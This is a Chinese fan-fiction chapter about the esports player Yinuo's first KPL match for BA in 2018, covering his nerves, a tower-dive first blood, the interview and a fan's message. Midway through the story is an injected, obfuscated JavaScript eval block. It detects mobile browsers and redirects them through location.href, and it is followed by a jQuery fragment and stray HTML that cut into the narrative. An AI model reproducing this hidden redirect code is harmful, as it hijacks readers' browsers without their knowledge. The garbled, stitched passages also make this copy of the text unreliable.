2018年9月12日，上海KPL电竞中心
后台休息室的空气凝重得能拧出水来。
徐必成坐在最角落的椅子上，左手紧紧握着手机，右手一遍又一遍地用袖口擦拭着已经光洁如新的屏幕。指纹被擦掉了，又沾上新的汗渍，再擦掉。这个动作他重复了十七次——他其实数着，数数能让他暂时忘记心脏撞击胸腔的震动声。
“紧张？”
旁边递过来一瓶矿泉水。
徐必成抬起头，看到Cat——郭家毅，BA黑凤梨的队长，联盟顶级中单，此刻正歪着头看他，嘴角挂着那种惯有的、似笑非笑的弧度。那笑容里没有嘲讽，倒像是一种过来人的了然。
“没……”徐必成接过水，拧开瓶盖时才发现手抖得厉害，水洒了几滴在队服裤子上。
深蓝与白相间的BA队服，胸口绣着黑凤梨的Logo。这身衣服他穿了一个多月，但在灯光下还是显得崭新而陌生，就像他此刻的身份——KPL职业选手，ID：一诺。
“正常。”Cat在他身边坐下，自己拧开一瓶水喝了大半，“我第一次上场前，在厕所吐了。”
徐必成愣了一下，看向Cat。对方的表情很平静，不像在开玩笑。
“真的？”
“真的。”Cat晃了晃水瓶，“后来发现吐完了反而轻松了。压力这种东西，你得给它找个出口。”
休息室另一头，教练组正在做最后的战术布置。白板上画满了红蓝箭头，六点六——队里的老大哥，边路支柱——正盯着那些线条沉思。小兽、居居、770……这些ID在徐必成看来都还带着某种光环。一个月前，他还在直播平台上看他们的比赛，现在却要和他们并肩作战。
“今天打RNG.M，他们新人打野很凶，但节奏容易断。”Cat压低声音，“你下路对虔诚，稳住就行。他经验比你多，但反应没你快。”
徐必成点点头，想说些什么，但喉咙发干。
“记住，训练赛怎么打，比赛就怎么打。”Cat拍拍他肩膀，“你公孙离的胜率，队里没人比你高。”
这句话像一颗定心丸。
公孙离。
徐必成低头看向手机屏幕，壁纸是他自己设置的——枫叶、纸伞、灵动的身影。这个英雄刚出不久，机制复杂，上下限差距极大。但他第一次上手就感觉莫名的契合，那种飘忽不定的位移，那种在刀尖上跳舞的刺激感，像极了他此刻的人生。
十七岁，高中辍学，从江西到上海，从主播到青训，再从青训到首发。
父母在电话里的叹息还在耳边：“打游戏能打一辈子吗？”
他不知道。
他只知道，此刻坐在这里，手心出汗、心跳如雷，但他不想去任何别的地方。
“准备上场！”
工作人员推开门。
徐必成猛地站起身，动作太急，椅子在地上刮出刺耳的声音。所有人都看向他，他脸一红，又默默把椅子挪回原位。
六点六笑了：“小孩儿，别慌。输了算我的。”
“走了走了。”Cat搂过他肩膀，带着他往外走。
通道很长，灯光昏暗。能听到前方赛场传来的声音——解说激昂的语调，观众隐约的欢呼，还有那种低频的、持续的背景音，像是无数人窃窃私语汇聚成的潮汐。
徐必成走在队伍末尾，盯着前面队友的背影。
六点六的肩很宽，步伐沉稳。Cat走路时习惯性地微微晃动肩膀，那是长期训练坐姿留下的痕迹。小兽回头看了他一眼，竖了个大拇指。
通道尽头有光。
越来越亮。
声音也越来越清晰——
“接下来，让我们欢迎——BA黑凤梨战队！”
光淹没了视野。
---
观众席第三排，陈薇调整了一下眼镜。
她是BA的老粉了，从2017年这支队伍进入KPL就开始关注。喜欢BA的理由很实际：这支队伍不强也不弱，没有明星选手，但团队协作极好，像一台精密的机器。看他们比赛不刺激，但踏实。
今天她特意请了假，从杭州坐高铁过来。赛季初的第一场比赛，她想看看新赛季的BA有什么变化。
“新赛季BA黑凤梨有一个人员变动。”解说李九的声音通过音响传来，“原发育路选手小剑转会，新人一诺首发。这位选手今年只有十七岁，此前是主播出身，以操作细腻著称。”
大屏幕上出现徐必成的定妆照。
很年轻的一张脸，甚至还有些稚气未脱。头发梳得整齐，眼神直视镜头，嘴角勉强扯出一个笑容——那种标准的新人照，能看出紧张的弧度。
“一诺……”陈薇念着这个ID，没什么特别的感觉。
KPL每个赛季都有新人，能留下来的没几个。虔诚、刺痛、Hurt……这些老牌射手哪一个不是天才出身？新人想在这个位置站稳，太难了。
灯光聚焦在选手席。
BA五人依次入座。陈薇看到那个新人坐在最右边的位置，戴上耳机前还深呼吸了一次。导播给了个特写——他的手在调试设备，手指修长，指甲剪得很干净。
“有点好看。”旁边传来年轻女孩的窃窃私语。
陈薇笑了笑。女粉丝关注的点总是很一致。
BP开始了。
BA蓝色方，先Ban先选。RNG.M针对性地禁掉了六点六的关羽和Cat的干将莫邪。BA则按掉了版本强势的裴擒虎和项羽。
“BA一楼会拿什么？”解说琪琪说，“现在外面还有公孙离，但这个英雄……”
话音未落，BA一楼亮起头像。
枫叶，纸伞。
锁定。
现场响起一阵轻微的骚动。公孙离在职业赛场的胜率并不高，太脆，太吃操作，容错率极低。敢在首秀拿这个英雄，要么是自信到极致，要么是疯狂。
陈薇身体微微前倾。
她看到屏幕里，那个新人选手在看到锁定公孙离的瞬间，抿了抿嘴唇，然后——笑了。
不是紧张的笑，不是假装的笑。
是那种，看到心爱玩具终于到手的孩子气的笑。
---
徐必成调整了一下耳机。
隔音耳机把外界声音压成模糊的背景音，只能听到队友的呼吸和电流的嘶嘶声。这种封闭感让他安心。
“一诺公孙离，可以。”教练的声音从耳机传来，“按训练赛的打法，前期稳一点，等六点□□级。”
“收到。”他听到自己说，声音还算平稳。
加载界面，十个英雄头像亮起。
RNG.M.虔诚，马可波罗。
徐必成的手指在屏幕上轻轻敲击。马可对公孙离，经典对位。前期公孙离小优，但马可中后期更稳定。关键在操作，在细节，在一技能飞镖的准度，二技能位移的时机。
“全军出击！”
游戏音效穿透耳机。
徐必成操控着公孙离走出泉水。枫叶飘落，纸伞旋转，这个英雄的移动姿态有一种独特的轻盈感。他喜欢这种感觉——仿佛自己真的化身为那个在枫叶间穿梭的舞者。
第一波兵线交汇。
他上前补刀，同时观察马可的走位。虔诚是老将，站位极其刁钻，总是卡在能补兵但不会被过度消耗的位置。
徐必成试探性地扔出一技能飞镖。
被躲开了。
“反应很快。”他小声说。
“别急，慢慢来。”Cat的声音，“我清完这波线来帮你。”
中路Cat拿的是武则天，清线速度尚可。徐必成点头，专注对线。他注意到马可每次用一技能扫射时都有一个极短的僵直——这是所有马可玩家的通病，因为一技能期间不能移动。
第三波兵线。
马可再次使用一技能清兵。
就是现在。
徐必成二技能位移拉近距离，一技能飞镖出手，同时公孙离的被动触发，普攻附带枫叶印记。马可后撤，但已经吃了两下普攻。
血量小优。
“可以啊一诺。”六点六在上路说，“压着虔诚打。”
徐必成没说话。他全部注意力都在屏幕上。补刀、走位、消耗、计算经验值……
四级。
几乎同时，他和马可身上同时亮起升级的光效。
“我来了。”Cat的声音。
武则天从中路消失。
几乎同一时间，RNG.M的中单也给出信号：“武则天不见了。”
徐必成看到马可开始后撤。但Cat的武则天已经绕到了河道草丛。
“闪现大！”
Cat果断出击，闪现接大招，女帝的威严从天而降，马可脚下亮起法阵。
但虔诚的反应快得惊人——几乎在法阵出现的瞬间，马可二技能位移接闪现，瞬间拉开两个身位。
“差一点！”Cat啧了一声。
徐必成没犹豫。
公孙离一技能突进，纸伞留在原地，普攻，再按一技能回到伞位。这个连招他练了上千遍，快得像一道金色闪电。
马可还剩三分之一血，逃回塔下。
“算了，压一波兵线。”Cat说。
徐必成点头，但眼睛还盯着塔下的马可。那个血量……如果大招推的角度够好……
“一诺，别。”Cat像是看穿了他的想法，“塔下杀不死，你会被换。”
理智告诉他Cat是对的。
但身体已经动了。
公孙离再次一技能进塔，但这次不是直线——是一个斜角，卡在防御塔边缘。大招“孤鹜断霞”推出，纸伞裹挟着气浪，将马可往墙上推了半个身位。
就是这半个身位。
防御塔的攻击已经亮起。
徐必成秒接二技能，旋转的纸伞挡掉一次塔伤，普攻出手，然后瞬间一技能回到最初的伞位。
整个操作在两秒内完成。
“First Blood！”
系统女声响起。
全场寂静了一瞬，然后爆发出惊呼。
陈薇直接从座位上站了起来。
她看清了——公孙离进塔，大招推墙，二技能挡塔伤，普攻，然后极限距离位移出塔。整个过程行云流水，最后出塔时公孙离的血量只剩下47点。
但凡防御塔再多一次攻击，死的就是公孙离。
“我的天……”解说李九的声音高了八度，“一诺塔下强杀了虔诚！这波操作太细了！二技能挡塔伤的时间掐得刚刚好！”
导播回放。
慢镜头下，每一个细节都清晰可见：马可被推墙的僵直，公孙离二技能纸伞展开的瞬间刚好挡住塔伤的光效，最后那一丝血皮逃出防御塔范围。
“这新人……”琪琪惊叹，“胆子太大了。”
选手席上，徐必成深吸一口气。
手指还在微微发抖，但这一次不是因为紧张，而是因为兴奋。那种刀尖舔血成功后涌上来的、滚烫的兴奋感。
“我靠，牛逼啊一诺！”小兽在语音里喊。
“可以可以。”六点六也笑了。
Cat没说话，但徐必成余光看到他对自己竖了个大拇指。
比赛继续。
拿到一血后，公孙离经济领先，对线彻底压制。徐必成越打越顺，每一次换血都占便宜，每一次消耗都精准。十分钟时，他的公孙离已经推掉了下路一塔，转线中路。
团战爆发。
RNG.M开暴君，BA选择接团。六点六的白起闪现嘲讽到三人，Cat武则天大招跟上控制。徐必成的公孙离在侧翼输出，一技能进场，大招推开前排，二技能旋转收割残血。
“Double Kill！”
“Triple Kill！”
系统播报接连响起。
当RNG.M的水晶爆炸时，徐必成的战绩定格在7/1/3，输出占比37%。
“赢了。”他摘下耳机。
外界的声音瞬间涌进来——掌声、欢呼、解说的总结。他有些恍惚，好像刚才那二十五分钟是一场过于真实的梦。
“打得不错。”Cat拍拍他后背，“走吧，去握手。”
徐***
赛后采访区，徐必成站在镜头前。
灯光打得很亮，他几乎看不清台下的人，只能看到一片模糊的光晕。手里的话筒沉甸甸的，手心又开始出汗。
主持人是个声音很好听的小姐姐，问题很常规：“第一次打KPL就拿到MVP，感觉怎么样？”
徐必成脑子里一片空白。他准备了几个回答，但此刻全都忘了。最后只能挤出干巴巴的一句：“还……还行。”
台下发出一阵善意的笑声。
他脸红了。
“今天那波塔下强杀，是事先设计好的吗？”
“不是。”这次他回答得快了些，“就是……感觉能杀。”
“感觉？”主持人笑了，“很自信啊。那对今天的对手虔诚，有什么想说的吗？”
徐必成想了想，很认真地说：“他很厉害，我学到了很多。”
这是真心话。虽然单杀了虔诚，但那场比赛他清楚感受到对方的老辣——对兵线的理解，对团战站位的把控，那些经验上的差距不是一两个操作能弥补的。
采访很快结束。徐必成鞠躬下台，脚步有些飘。
回到后台，教练第一个迎上来，用力揉了揉他头发：“可以啊小子！”
“打得不错。”六点六递给他一瓶运动饮料。
小兽和居居在讨论刚才的团战细节。770在整理外设。一切都很平常，就好像这只是又一场训练赛。
但徐必成知道，不一样了。
手机震动了一下。他掏出来看，是妈妈发来的微信：“儿子，妈妈看了直播。你打得很好。”
短短一行字，他反复看了三遍。
鼻子突然有点酸。
“收拾东西，回去了。”Cat拎着背包走过来，“晚上复盘，明天训练赛照常。”
“嗯。”
徐必成把手机塞回口袋，开始收拾自己的外设。键盘、鼠标、耳机，每一样都仔细擦拭干净。他做这些事时很专注，像某种仪式。
离开场馆时已经是晚上九点。
上海的夜风带着初秋的凉意。徐必成走在队伍最后，抬头看了看天。城市的夜空看不到星星，只有霓虹灯染出的暗红色光晕。
“想什么呢？”Cat放慢脚步等他。
“没想什么。”徐必成顿了顿，“就是觉得……好像真的开始了。”
Cat笑了，没说话。
大巴车等在路边。队员们依次上车，徐必成选了靠窗的位置。车子启动，窗外的街景开始流动。他拿出手机，打开微博。
比赛结束才一个多小时，他的粉丝数已经从三千涨到了一万二。
私信爆炸，@他的消息无数。他点开热搜，第37位挂着#一诺首秀#的词条。
手指划动，看到各种评论：
“这公孙离太秀了吧！”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028839|194480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“新人怪物啊！”
“BA捡到宝了！”
“只有我觉得他长得还挺好看吗？”
也有不同的声音：
“一场比赛而已，别吹太早。”
“对线单杀一次就吹上天？虔诚后面几波团战作用比他大。”
“英雄克制罢了。”
徐必成一条条看过去，心里有种奇怪的感觉。那些赞美让他开心，那些质疑让他不服气，但更多的是一种不真实感——这些人，是在说他吗？
那个一个月前还在家里直播打游戏、被观众调侃“主播打得不错，考虑打职业吗”的徐必成？
“少看这些。”Cat的声音从旁边传来。
徐必成转头，发现Cat不知何时坐到了他旁边的位置。
“舆论这东西，今天能把你捧上天，明天就能把你踩进泥里。”Cat看着窗外，“你记住，打得好就夸，打得差就骂，这是观众的权力。但你要知道你是谁，为什么打比赛，想要什么。”
“我想要什么……”徐必成重复。
“赢。”Cat说得很简单，“一直赢。赢到没人能质疑你。”
大巴车穿过隧道，灯光在车窗上拉出流动的光斑。徐必成看着那些光影，忽然想起比赛时的那波塔下强杀——那种千钧一发的刺激感，那种赌赢了的狂喜。
他想再体验一次。
不，他想体验更多次。
手机又震动了一下。是微博特别关注提醒——BA黑凤梨官方号转发了他的赛后采访视频，配文：“新秀亮剑，未来可期。欢迎一诺。”
他点了个赞。
然后切到微信，给妈妈回消息：“妈，我会继续努力的。”
发送。
车窗外，上海的不夜城灯火璀璨。这座城市的某个角落里，一定有无数像他一样的少年，正盯着手机屏幕，幻想有一天也能站在那个舞台上。
而他现在，已经站在了起跑线前。
路还长。
但他已经迈出了第一步。
---
深夜，俱乐部训练室。
其他人都已经回去休息了，徐必成还坐在电脑前。屏幕上播放着今天比赛的录像，不是高光集锦，而是每一个细节——每一次走位，每一次技能释放，每一次决策。
他暂停在第六分钟，那波Cat来抓下，但马可逃掉的镜头。
“这里……”他自言自语，“如果我再往前压半个身位，马可二技能之后的位置刚好能被Cat大到。”
他在笔记本上记下这一点。
笔记本是普通的横线本，已经写了好几页。从青训开始，他就习惯记录每一场训练赛的得失。英雄克制、技能CD、阵容搭配……密密麻麻的字，有些地方还画着简陋的示意图。
翻到最新一页，他写下日期：9.12。
然后记录：
·对线虔诚，前期压制成功，但第三波兵线时漏了一个补刀（走位过于激进）
·四级单杀那波，二技能挡塔伤时机完美，但之前一技能飞镖浪费了一次（可以留着打更多伤害）
·第十分钟团战，站位过于靠前，差点被兰陵王切死（需注意小地图）
· ……
写到一半，训练室门被推开。
“还不睡？”
是Cat，手里拎着两罐可乐。
“马上。”徐必成接过可乐，冰凉的触感让他清醒了些。
Cat拉过椅子坐下，看了眼他的笔记本：“这么认真？”
“复盘一下。”
“复盘是好事，但别钻牛角尖。”Cat拉开可乐，喝了一口，“你今天打得很好，真的。”
徐必成沉默了几秒，忽然问：“Cat哥，你第一次赢比赛后，什么感觉？”
Cat想了想：“爽。然后空虚。”
“空虚？”
“就是那种……‘这就完了？’的感觉。”Cat笑了笑，“你拼尽全力赢下一场比赛，但马上又要准备下一场。永远没有尽头。”
“那你为什么还在打？”
“因为喜欢啊。”Cat说得很自然，“喜欢赢的感觉，喜欢操作的感觉，喜欢和队友一起拼的感觉。虽然累，虽然压力大，但每次赢的时候，就觉得一切都值了。”
徐必成似懂非懂地点头。
“早点睡吧。”Cat站起身，“明天训练赛约了EDG.M，他们下路组合很强，你得做好准备。”
“好。”
Cat走到门口，又回头：“对了，你今天采访那样子，粉丝都说你可爱。以后多笑笑，别老绷着脸。”
“我哪有绷着脸……”
门关上了。
训练室里又只剩下徐必成一个人。他看了看屏幕上的录像，又看了看笔记本上的字迹，最后关掉了电脑。
回到宿舍时已经凌晨一点。
同屋的小兽已经睡着了，呼吸平稳。徐必成轻手轻脚地洗漱，躺到床上，却毫无睡意。
他拿出手机，打开微博。
粉丝数又涨了一些，现在是一万五。他点开私信，随意翻看着。
大部分是鼓励的话：
“一诺加油！今天打得太帅了！”
“会一直支持你的！”
“注意休息，别太累。”
也有些奇怪的：
“小哥哥有女朋友吗？”
“可以互关吗？”
他笑了笑，没回复。
正要退出时，他看到一条很长的私信。是个女生发的，ID叫“薇风拂晓”。
“一诺你好，我是今天的现场观众，坐在第三排。看到你第一次上场紧张的样子，让我想起了自己第一次上台演讲。后来你单杀虔诚的那波操作，我在现场直接站起来了（虽然有点丢人）。想告诉你，不用给自己太大压力，你已经做得很好了。比赛有赢有输，但努力和坚持的样子，比胜负更打动人心。我会一直看BA的比赛，也会一直为你加油。早点休息，晚安。”
徐必成盯着这条私信看了很久。
然后他点进这个人的主页。是个普通用户，微博不多，大部分是生活分享——工作的烦恼，周末的早餐，偶尔的旅行照片。最新一条是今晚发的：
“现场看了BA的比赛，新人一诺很亮眼。突然觉得，能亲眼见证一个人的职业生涯起步，是件很奇妙的事。希望这个少年能走得很远很远。”
配图是现场拍的照片——舞台上，BA五人鞠躬谢幕。徐必成在画面的边缘，侧脸在灯光下显得很柔和。
他给这条微博点了个赞。
然后回到私信界面，输入：“谢谢。我会继续努力的。”
发送。
放下手机，徐必成闭上眼睛。
脑海中浮现出今天的画面：通道尽头的灯光，耳机里的游戏音效，塔下强杀时的心跳，赛后采访时的灯光，还有那条长长的私信。
这一切都真实地发生了。
他，徐必成，ID一诺，今天在KPL的舞台上，留下了第一个脚印。
路还很长。
但此刻，他只想好好睡一觉。
窗外，城市的霓虹依旧闪烁。而在某个普通的公寓里，陈薇收到了一条微博私信提醒。她点开，看到那个简单的回复，笑了笑，关掉了手机。
夜深了。
明天太阳升起时，新的训练、新的比赛、新的故事，又将开始。
而对于徐必成来说，属于他的时代，刚刚拉开序幕。
---
【第一章·完】